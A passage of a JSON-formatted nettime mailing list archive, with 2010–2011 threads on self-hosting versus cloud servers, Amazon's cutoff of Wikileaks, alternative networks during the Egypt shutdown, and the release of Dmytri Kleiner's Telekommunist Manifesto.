                        "content": "Server space is one thing, BBS networks are an interesting solution, sort\nof a HAM radio version of the internet.\n\nI think the backbone needs to be de-privatised as well.\n\nI was under the impression there are places in Europe where the internet\nbackbone is public, leased out to anyone who wants some.\n\nHere, even the pipeline is under threat - the usage caps and overage\ncharges (which mostly serve to limit competing businesses, rather than\ndemocratic expression which tends to be lower-bandwidth  ;-) ) are hotly\ndebated, with Joe Public mostly on the side of Cheaper and Faster but no\ndialogue around public pipelines whatsoever.\n\nThere are two companies in most of Canada, Shaw and Telus in the west, Bell\nand Rogers in the East, who deliver all the internet service, they are\nforced to lease out to competitors but they are always pushing for the\npower to charge more to their competitors to squeeze their share.\n\nEven the pundits who want Net Neutrality still don't call for public\ncommunications infrastructure.  The net is treated more like phones than\nroads, which is a mistake in my opinion.\n\nhttp://www.thestar.com/business/article/933854--geist-the-real-reason-we-pay-so-much-for-internet?bn=1\n\nOur post office is about to abandon (sell) its courier operations, seen as\ntoo incompetitive with commercial enterprises, and when competitive, an\nunwanted intrusion on the free market.\n\nhttp://www.thestar.com/opinion/editorialopinion/article/931800--goar-a-smarter-post-office-might-thrive\n\n-Flick\n\n--\n* WHERE'S MY ARTICLE, WORLD?\nhttp://wikipedia.org/wiki/Flick_Harrison\n\n* FLICK's WEBSITE & BLOG: http://www.flickharrison.com \n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00059",
                        "date": "Tue, 8 Feb 2011 09:51:52 -0800",
                        "to": "Nettime <nettime-l {AT} kein.org>",
                        "message-id": "1cc8c4ca1d97a37b3f4d8128de9684aa {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00059.html",
                        "content-type": "text/plai",
                        "author_name": "Flick Harrison",
                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                    },
                    {
                        "from": "Goran Maric <goranmaric58 {AT} hotmail.com>",
                        "content": "Thank you, Dan,\nthis is where I see the value and importance of nettime.  Here people can share intelligent ideas, \nargue intelligently, and above all, post links where like minded people can engage in struggles for \ncommon good.  \n \nRe: Facebook and Twitter, whatever can be utilized in reaching these goals should be utilized.  \nWe live in the \"info\" world, and not to utilize it would be unfortunate waste of opportunities.\nBut also, we never should for a one bit of moment forget about the fact that every, and each government, \nonce it feels threaten in whatever way, will do whatever is in its power to subdue these perceived threats.\n \n\"FBI Raids Queens Home in G20 Protest Twitter Crackdown\nhttp://gothamist.com/2009/10/05/fbi_raids_queens_home_in_g20_protes.php\n \n... That's right, a Twitter crackdown. A lawyer for Jackson Heights social worker Elliot Madison, 41, \nsays that the feds searched his client's house for 16 hours on Thursday after Madison was arrested \non September 24th at a Pittsburgh hotel room with another man. What were they up to? Sitting at \nlaptops sending Twitter messages advising G20 demonstrators about riot police activity in the streets. \n ...\"\n \nAlso as we discuss alternatives, we, especially from the US, of course with the help of others around,\nhave to do whatever is in our power to expose what the US is actually all about. \n \n\"Video: Eardrum-Blasting Sound Cannon Coming to a Protest Near You?\nhttp://gothamist.com/2009/09/29/eardrum-blasting_sound_cannon_comin.php\n \nHave you seen this intense outtake from Children of Men, showing riot police blasting \"fugees\" \nwith some sort of horrible \"sound cannon\"? Oh, actually, this isn't from a fictional movie about \na dystopian police state; it's from last week in Pittsburgh, where G20 protesters had dared assemble \nwithout a permit from the government. For that, they were dispersed with the Long Range Acoustic \nDevice (LRAD), which some fear is loud enough to damage eardrums and even cause fatal aneurysms.\n...\"\n \nI am not trying to move our attention from the present happening in Egypt, but, let us not\nforget, ever, where is the root and the real problem coming from.  This demystification\nof the US as the beacon of Democracy has to be main goal, in the same fashion as when \nStalin?s ?workers country? was demystified.\nThis must be a concurrent action, and never left out of sight.\n \nDan, again, Excellent links!!!\nBest \n \ngORAN\n \n> Date: Tue, 8 Feb 2011 10:43:35 +0000\n> From: nettime-l {AT} kein.org\n> To: geert {AT} xs4all.nl\n> Subject: Re: <nettime> A DIY Data Manifesto by Scott Gilbertson\n> \n> the internet shutdown in egypt prompted similar questions about\n> independent infrastructure and corporate control.\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00060",
                        "date": "Tue, 8 Feb 2011 17:51:37 +0000",
                        "to": "<nettime-l {AT} kein.org>",
                        "message-id": "f34f06483bd5677458a76f8f17ad78d0 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00060.html",
                        "content-type": "text/plai",
                        "author_name": "Goran Maric",
                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                    },
                    {
                        "author_name": "Geert Lovink",
                        "from": "Geert Lovink <geert {AT} xs4all.nl>",
                        "id": "00051",
                        "content": "\nGood you raise this issue, Rory.\n\nIf I remember well from December Dave Winer kind of defended Amazon in  \nthe Wikileaks cut-off controversy (he said he would not join a boycott).\n\nThe question indeed is: what does it mean when we call to run our own  \nservers? If they are located somewhere in the 'cloud' then what's the  \ndifference anyway in comparison to Facebook or Google?\n\nThe alternatives we suggest cannot be empty gestures if we propose to  \nuse 'virtual' servers that are under the same corporate control anyway.\n\nGeert\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "date": "Mon, 7 Feb 2011 22:26:01 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "E242503A&#45;7D57&#45;4F2A&#45;BF22&#45;B37EA79DFD3F {AT} xs4all.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00051.html",
                        "content-type": "text/plai",
                        "follow-up": [
                            {
                                "from": "nettime-l {AT} kein.org",
                                "content": "\nthe internet shutdown in egypt prompted similar questions about\nindependent infrastructure and corporate control.\n\nsee for example http://www.openmeshproject.org/ and the comment thread\non https://blog.torproject.org/blog/recent-events-egypt.\n\ni know that some people were busy setting up BBS in egypt during the\nshutdown, which has some interesting echoes of rushkoff's recent piece\non the Next Net ('dump internet, go fidonet')\nhttp://www.shareable.net/blog/the-next-net\n\ndan\n[ {AT} danmcquillan | www.internetartizans.co.uk]\n\nOn 7 February 2011 21:26, Geert Lovink <geert {AT} xs4all.nl> wrote:\n>\n> Good you raise this issue, Rory.\n <...>\n\n--\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00052",
                                "date": "Tue, 8 Feb 2011 10:43:35 +0000",
                                "to": "Geert Lovink <geert {AT} xs4all.nl>",
                                "message-id": "AANLkTimntCKs&#45;goxQosp4XCG502R4eUYRehtLyOZr&#45;8R {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00052.html",
                                "content-type": "text/plai",
                                "author_name": "nettime-l",
                                "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                            },
                            {
                                "from": "Rob Myers <rob {AT} robmyers.org>",
                                "content": "\nOn 07/02/11 21:26, Geert Lovink wrote:\n\n> The question indeed is: what does it mean when we call to run our own\n> servers? If they are located somewhere in the 'cloud' then what's the\n> difference anyway in comparison to Facebook or Google?\n>\n> The alternatives we suggest cannot be empty gestures if we propose to\n> use 'virtual' servers that are under the same corporate control anyway.\n\nYes, Amazon volunteered to cut off Wikileaks, which demonstrates that \nthe degree of freedom that EC2 instances give you are very limited -\n\nhttp://www.guardian.co.uk/technology/2010/dec/11/wikileaks-amazon-denial-democracy-lieberman\n\nEben Moglen gave a very good talk about the issues of privacy and \ncontrol that I think are at the heart of the question you raise, \nrecommending that people run servers on computing machinery that they \nphysically control -\n\nhttp://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/\n\nIt's possible to implement Moglen's ideas with current technology: \nhere's a \"wall wart\" plug server in the corner of my living room running \nGNU social on Debian -\n\nhttp://foocorp.org/projects/fooplug/\n\nAnd here's a project to create a distro specifically for such devices -\n\nhttp://wiki.debian.org/FreedomBox\n\n- Rob.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00053",
                                "date": "Tue, 08 Feb 2011 10:44:05 +0000",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4D511E75.9090102 {AT} robmyers.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00053.html",
                                "content-type": "text/plai",
                                "author_name": "Rob Myers",
                                "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                            },
                            {
                                "from": "Joss Winn <joss {AT} josswinn.org>",
                                "content": "On 07/02/11 21:26, Geert Lovink wrote:\n> \n> Good you raise this issue, Rory.\n> \n> If I remember well from December Dave Winer kind of defended Amazon in  \n> the Wikileaks cut-off controversy (he said he would not join a boycott).\n> \n> The question indeed is: what does it mean when we call to run our own  \n> servers? If they are located somewhere in the 'cloud' then what's the  \n> difference anyway in comparison to Facebook or Google?\n> \n\nThere is no difference. The difference *appears* only to people who\nWiner wrote his EC2 for Poets for.  The Engineers who Winer disses, know\nthere's no real difference in freedom whether you use wordpress.com or\nset up your own blog on EC2. Sure, you can tinker with the application\nlayer, but if that's what you call freedom, you might as well go to\nDreamhost for $10/month and use their one-click\nWordPress/status.net/drupal/whatever installs.\n\nSetting up an EC2 server is a complete overkill for the appearance of\nfreedom Winer seems to be proposing. He's also understating the costs.\nEC2 is expensive to run a server 24/7 ($90/month) compared to somewhere\nlike gandi.net, for example (\u00a320/month). The only real benefit I can see\nfor EC2 is the ability to clone ready-made server images (as Winer is\npushing), but until very recently you couldn't even reliably send email\nfrom an EC2 server because Amazon expect their customers to handle email\nthrough dedicated third-party services. A simple EC2 server is one\nthing, but then you need to work through the minefield of elastic IP\naddresses, persistent storage, backups... Amazon sell services, not\ncomplete 'solutions'.\n\n> The alternatives we suggest cannot be empty gestures if we propose to  \n> use 'virtual' servers that are under the same corporate control anyway.\n> \n> Geert\n> \n> \n\nWiner's good work on RSS and OPML should not be understated but the idea\nthat freedom can be found in the cloud seems utterly naive to me. Any of\nus on this list who run our own virtual servers are aware of where the\nfreedom ends and the Amazon/Rackspace/etc. Terms and Conditions begin.\n(I was one of those that terminated my Amazon account recently).\n\nWiner (and the rest of us, too) might rather spend time looking at the\nwork of the radical tech collectives worldwide (of which nettime members\nare well aware), which are regularly having their hardware seized or\ncracked into by the cops, but persist in working collectively against\ncorporate control. Winer should be telling people to think about signing\nup to http://mayfirst.org for $10/month or groups of people colocating\nhardware with riseup.net in Seattle (http://www.seaccp.org/) or just set\nup a log-free blog on noblogs\n(http://www.autistici.org/en/services/web/blog.html)\n\nIn my experience, the closest thing to freedom on the net is to be found\nin these types of collectives.\nhttp://www.autistici.org/en/groups/links.html I would love to hear of\nbetter alternatives to so-called net freedom that exist. If you don't\nagree with their politics, they at least offer a relatively mature model\nof operation for others to emulate.\n\nThrough his advocacy for loosely coupled services, Winer seems to be\nmore interested in the freedom of data, not the freedom of people. If\nfreedom really is about being able to publish 140 characters from your\nown server and watch it 'loosely couple' itself with Twitter's API in\n'real-time', then I'm heading for the hills!\n\nYou've all probably seen these, but for the record:\n\nhttp://www.guardian.co.uk/technology/2008/sep/29/cloud.computing.richard.stallman\n\nhttp://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/\n\nJoss\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00057",
                                "date": "Tue, 08 Feb 2011 14:13:38 +0000",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "4D514F92.9010602 {AT} josswinn.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00057.html",
                                "content-type": "text/plai",
                                "author_name": "Joss Winn",
                                "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                            }
                        ],
                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                    },
                    {
                        "from": "nettime-l {AT} kein.org",
                        "content": "\nthe internet shutdown in egypt prompted similar questions about\nindependent infrastructure and corporate control.\n\nsee for example http://www.openmeshproject.org/ and the comment thread\non https://blog.torproject.org/blog/recent-events-egypt.\n\ni know that some people were busy setting up BBS in egypt during the\nshutdown, which has some interesting echoes of rushkoff's recent piece\non the Next Net ('dump internet, go fidonet')\nhttp://www.shareable.net/blog/the-next-net\n\ndan\n[ {AT} danmcquillan | www.internetartizans.co.uk]\n\nOn 7 February 2011 21:26, Geert Lovink <geert {AT} xs4all.nl> wrote:\n>\n> Good you raise this issue, Rory.\n <...>\n\n--\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00052",
                        "date": "Tue, 8 Feb 2011 10:43:35 +0000",
                        "to": "Geert Lovink <geert {AT} xs4all.nl>",
                        "message-id": "AANLkTimntCKs&#45;goxQosp4XCG502R4eUYRehtLyOZr&#45;8R {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00052.html",
                        "content-type": "text/plai",
                        "author_name": "nettime-l",
                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                    },
                    {
                        "from": "Rob Myers <rob {AT} robmyers.org>",
                        "content": "\nOn 07/02/11 21:26, Geert Lovink wrote:\n\n> The question indeed is: what does it mean when we call to run our own\n> servers? If they are located somewhere in the 'cloud' then what's the\n> difference anyway in comparison to Facebook or Google?\n>\n> The alternatives we suggest cannot be empty gestures if we propose to\n> use 'virtual' servers that are under the same corporate control anyway.\n\nYes, Amazon volunteered to cut off Wikileaks, which demonstrates that \nthe degree of freedom that EC2 instances give you are very limited -\n\nhttp://www.guardian.co.uk/technology/2010/dec/11/wikileaks-amazon-denial-democracy-lieberman\n\nEben Moglen gave a very good talk about the issues of privacy and \ncontrol that I think are at the heart of the question you raise, \nrecommending that people run servers on computing machinery that they \nphysically control -\n\nhttp://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/\n\nIt's possible to implement Moglen's ideas with current technology: \nhere's a \"wall wart\" plug server in the corner of my living room running \nGNU social on Debian -\n\nhttp://foocorp.org/projects/fooplug/\n\nAnd here's a project to create a distro specifically for such devices -\n\nhttp://wiki.debian.org/FreedomBox\n\n- Rob.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00053",
                        "date": "Tue, 08 Feb 2011 10:44:05 +0000",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4D511E75.9090102 {AT} robmyers.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00053.html",
                        "content-type": "text/plai",
                        "author_name": "Rob Myers",
                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                    },
                    {
                        "from": "Joss Winn <joss {AT} josswinn.org>",
                        "content": "On 07/02/11 21:26, Geert Lovink wrote:\n> \n> Good you raise this issue, Rory.\n> \n> If I remember well from December Dave Winer kind of defended Amazon in  \n> the Wikileaks cut-off controversy (he said he would not join a boycott).\n> \n> The question indeed is: what does it mean when we call to run our own  \n> servers? If they are located somewhere in the 'cloud' then what's the  \n> difference anyway in comparison to Facebook or Google?\n> \n\nThere is no difference. The difference *appears* only to people who\nWiner wrote his EC2 for Poets for.  The Engineers who Winer disses, know\nthere's no real difference in freedom whether you use wordpress.com or\nset up your own blog on EC2. Sure, you can tinker with the application\nlayer, but if that's what you call freedom, you might as well go to\nDreamhost for $10/month and use their one-click\nWordPress/status.net/drupal/whatever installs.\n\nSetting up an EC2 server is a complete overkill for the appearance of\nfreedom Winer seems to be proposing. He's also understating the costs.\nEC2 is expensive to run a server 24/7 ($90/month) compared to somewhere\nlike gandi.net, for example (\u00a320/month). The only real benefit I can see\nfor EC2 is the ability to clone ready-made server images (as Winer is\npushing), but until very recently you couldn't even reliably send email\nfrom an EC2 server because Amazon expect their customers to handle email\nthrough dedicated third-party services. A simple EC2 server is one\nthing, but then you need to work through the minefield of elastic IP\naddresses, persistent storage, backups... Amazon sell services, not\ncomplete 'solutions'.\n\n> The alternatives we suggest cannot be empty gestures if we propose to  \n> use 'virtual' servers that are under the same corporate control anyway.\n> \n> Geert\n> \n> \n\nWiner's good work on RSS and OPML should not be understated but the idea\nthat freedom can be found in the cloud seems utterly naive to me. Any of\nus on this list who run our own virtual servers are aware of where the\nfreedom ends and the Amazon/Rackspace/etc. Terms and Conditions begin.\n(I was one of those that terminated my Amazon account recently).\n\nWiner (and the rest of us, too) might rather spend time looking at the\nwork of the radical tech collectives worldwide (of which nettime members\nare well aware), which are regularly having their hardware seized or\ncracked into by the cops, but persist in working collectively against\ncorporate control. Winer should be telling people to think about signing\nup to http://mayfirst.org for $10/month or groups of people colocating\nhardware with riseup.net in Seattle (http://www.seaccp.org/) or just set\nup a log-free blog on noblogs\n(http://www.autistici.org/en/services/web/blog.html)\n\nIn my experience, the closest thing to freedom on the net is to be found\nin these types of collectives.\nhttp://www.autistici.org/en/groups/links.html I would love to hear of\nbetter alternatives to so-called net freedom that exist. If you don't\nagree with their politics, they at least offer a relatively mature model\nof operation for others to emulate.\n\nThrough his advocacy for loosely coupled services, Winer seems to be\nmore interested in the freedom of data, not the freedom of people. If\nfreedom really is about being able to publish 140 characters from your\nown server and watch it 'loosely couple' itself with Twitter's API in\n'real-time', then I'm heading for the hills!\n\nYou've all probably seen these, but for the record:\n\nhttp://www.guardian.co.uk/technology/2008/sep/29/cloud.computing.richard.stallman\n\nhttp://www.softwarefreedom.org/news/2010/feb/10/highlights-eben-moglens-freedom-cloud-talk/\n\nJoss\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00057",
                        "date": "Tue, 08 Feb 2011 14:13:38 +0000",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "4D514F92.9010602 {AT} josswinn.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1102/msg00057.html",
                        "content-type": "text/plai",
                        "author_name": "Joss Winn",
                        "subject": "Re: <nettime> A DIY Data Manifesto by Scott Gilbertson"
                    }
                ],
                "message-id": "FD2CC7C8&#45;2EB1&#45;42D9&#45;ADDC&#45;1E915F9287D5 {AT} xs4all.nl",
                "date": "Sat, 5 Feb 2011 16:02:43 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00022",
                "content": "\nThe Telekommunist Manifesto from Dmytri Kleiner is out now!\nDownload the pdf here: http://networkcultures.org/_uploads/#3notebook_telekommunist.pdf\n\nThe print edition will hopefully be financed soon. If you want to  \ndonate money to make this happen, please let us know!\n\nIn the age of international telecommunications, global migration and  \nthe emergence of the information economy, how can class conflict and  \nproperty be understood? Drawing from political economy and concepts  \nrelated to intellectual property, The Telekommunist Manifesto is a key  \ncontribution to commons-based, collaborative and shared forms of  \ncultural production and economic distribution.\n\nProposing \u2018venture communism\u2019 as a new model for workers\u2019 self- \norganization, Kleiner spins Marx and Engels\u2019 seminal Manifesto of the  \nCommunist Party  into the age of the internet. As a peer-to-peer  \nmodel, venture communism allocates capital that is critically needed  \nto accomplish what capitalism cannot: the ongoing proliferation of  \nfree culture and free networks.\n\nIn developing the concept of venture communism, Kleiner provides a  \ncritique of copyright regimes, and current liberal views of free  \nsoftware and free culture which seek to trap culture within  \ncapitalism. Kleiner proposes copyfarleft, and provides a usable model  \nof a Peer Production License.\n\nEncouraging hackers and artists to embrace the revolutionary potential  \nof the internet for a truly free society, The Telekommunist Manifesto  \nis a political-conceptual call to arms in the fight against capitalism.\n\nAbout the author: Dmytri Kleiner is a software developer working on  \nprojects that investigate the political economy of the internet, and  \nthe ideal of workers\u2019 self-organization of production as a form of  \nclass struggle. Born in the USSR, Dmytri grew up in Toronto and now  \nlives in Berlin. He is a founder of the Telekommunisten Collective,  \nwhich provides internet and telephone services, as well as undertakes  \nartistic projects that explore the way communications technologies  \nhave social relations embedded within them, such as deadSwap (2009)  \nand Thimbl (2010).\n\ncolophon: Network Notebooks editors: Geert Lovink and Sabine Niederer.  \nProducer: Rachel Somers Miles. Copy editing: Rachael Kendrick. Design:  \nStudio L\u00e9on&Loes, Rotterdam http://www.leon-loes.nl. Publisher:  \nInstitute of Network Cultures, Amsterdam.\n\nDymtri Kleiner, The Telekommunist. Network Notebooks 03, Institute of  \nNetwork Cultures, Amsterdam, 2010. ISBN: 978-90-816021-2-9.\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                "to": "<nettime-l {AT} kein.org>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1010/msg00022.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Just Out: The Telekommunist Manifesto by Dmytri Kleiner",
                "from": "Geert Lovink <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "follow-up": [
                            {
                                "follow-up": [
                                    {
                                        "from": "Alex Foti <alex.foti {AT} gmail.com>",
                                        "content": "\nby the way, precariat was coined by the euromayday, not the frassanito\nnetwork (which was a subset thereof at the time).\n\nloved telekommunismus! and the concept of venture communism prompted\nme to reconsider my fondness for digital anarchism...\n\nbest radical ciaos,\n\nlx\nhttp://milanox.eu\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00029",
                                        "date": "Tue, 26 Oct 2010 10:47:47 +0200",
                                        "to": "nettime-l {AT} kein.org",
                                        "message-id": "AANLkTintMgOeU_mVCrO6vD=Z6R=TdiBC9=5eaay=034K {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1010/msg00029.html",
                                        "content-type": "text/plai",
                                        "author_name": "Alex Foti",
                                        "subject": "Re: <nettime> Just Out: The Telekommunist Manifesto by Dmytri\tKleiner"
                                    }
                                ],
                                "from": "Dmytri Kleiner <dk {AT} telekommunisten.net>",
                                "content": "Hi Rob, there is no new class proposed in the Manifesto, just the boring\nold ones, worker, landlord & capitalist.\n\nBest,\n\nOn Sun, 24 Oct 2010 12:16:45 +0100, Rob Dyke <emailme {AT} robdyke.com> wrote:\n\n> another one for the list?\n> \n> http://www.theclassofthenew.net/6.html\n <...>\n\n-- \nDmyri Kleiner\nVenture Communist\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00026",
                                "date": "Mon, 25 Oct 2010 15:21:56 +0200",
                                "to": "<nettime-l {AT} kein.org>",
                                "message-id": "ae17d1f59fb6978ecb1684f5bb8893e4 {AT} trick.c",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1010/msg00026.html",
                                "content-type": "text/plai",
                                "author_name": "Dmytri Kleiner",
                                "subject": "Re: <nettime> Just Out: The Telekommunist Manifesto by Dmytri\tKleiner"
                            },
                            {
                                "from": "Alex Foti <alex.foti {AT} gmail.com>",
                                "content": "\nby the way, precariat was coined by the euromayday, not the frassanito\nnetwork (which was a subset thereof at the time).\n\nloved telekommunismus! and the concept of venture communism prompted\nme to reconsider my fondness for digital anarchism...\n\nbest radical ciaos,\n\nlx\nhttp://milanox.eu\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00029",
                                "date": "Tue, 26 Oct 2010 10:47:47 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "AANLkTintMgOeU_mVCrO6vD=Z6R=TdiBC9=5eaay=034K {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1010/msg00029.html",
                                "content-type": "text/plai",
                                "author_name": "Alex Foti",
                                "subject": "Re: <nettime> Just Out: The Telekommunist Manifesto by Dmytri\tKleiner"
                            }
                        ],
                        "from": "Rob Dyke <emailme {AT} robdyke.com>",
                        "content": "\nanother one for the list?\n\nhttp://www.theclassofthenew.net/6.html\n\n\u2018the class of the new\u2019. This model workforce announces a new economic and\nsocial paradigm, constituting a \u2018social prophecy\u2019 of the shape of work to\ncome. Their mode of being and, in particular, of producing, is set to become\nhegemonic. No matter how numerically limited at present, the way they live\nand work today is the way everyone else will live and work tomorrow.\n\nOn Sun, Oct 24, 2010 at 3:00 AM, Geert Lovink <geert {AT} xs4all.nl> wrote:\n\n>\n> Proposing \u2018venture communism\u2019 as a new model for workers\u2019 self-\n> organization, Kleiner spins Marx and Engels\u2019 seminal Manifesto of the\n> Communist Party  into the age of the internet. As a peer-to-peer\n> model, venture communism allocates capital that is critically needed\n> to accomplish what capitalism cannot: the ongoing proliferation of\n> free culture and free networks.\n>\n>\n-- \nRob\n\n\n~~~~~~~~~~~~~~~~~~~~~~\nhttp://www.robdyke.com\n\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00023",
                        "date": "Sun, 24 Oct 2010 12:16:45 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "AANLkTikE&#45;DH=Ae5R1rz==xsxAuf70adg7B+wLy5ZHgVK {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1010/msg00023.html",
                        "content-type": "text/plai",
                        "author_name": "Rob Dyke",
                        "subject": "Re: <nettime> Just Out: The Telekommunist Manifesto by Dmytri\tKleiner"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Alex Foti <alex.foti {AT} gmail.com>",
                                "content": "\nby the way, precariat was coined by the euromayday, not the frassanito\nnetwork (which was a subset thereof at the time).\n\nloved telekommunismus! and the concept of venture communism prompted\nme to reconsider my fondness for digital anarchism...\n\nbest radical ciaos,\n\nlx\nhttp://milanox.eu\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00029",
                                "date": "Tue, 26 Oct 2010 10:47:47 +0200",
                                "to": "nettime-l {AT} kein.org",
                                "message-id": "AANLkTintMgOeU_mVCrO6vD=Z6R=TdiBC9=5eaay=034K {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1010/msg00029.html",
                                "content-type": "text/plai",
                                "author_name": "Alex Foti",
                                "subject": "Re: <nettime> Just Out: The Telekommunist Manifesto by Dmytri\tKleiner"
                            }
                        ],
                        "from": "Dmytri Kleiner <dk {AT} telekommunisten.net>",
                        "content": "Hi Rob, there is no new class proposed in the Manifesto, just the boring\nold ones, worker, landlord & capitalist.\n\nBest,\n\nOn Sun, 24 Oct 2010 12:16:45 +0100, Rob Dyke <emailme {AT} robdyke.com> wrote:\n\n> another one for the list?\n> \n> http://www.theclassofthenew.net/6.html\n <...>\n\n-- \nDmyri Kleiner\nVenture Communist\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mail.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00026",
                        "date": "Mon, 25 Oct 2010 15:21:56 +0200",
                        "to": "<nettime-l {AT} kein.org>",
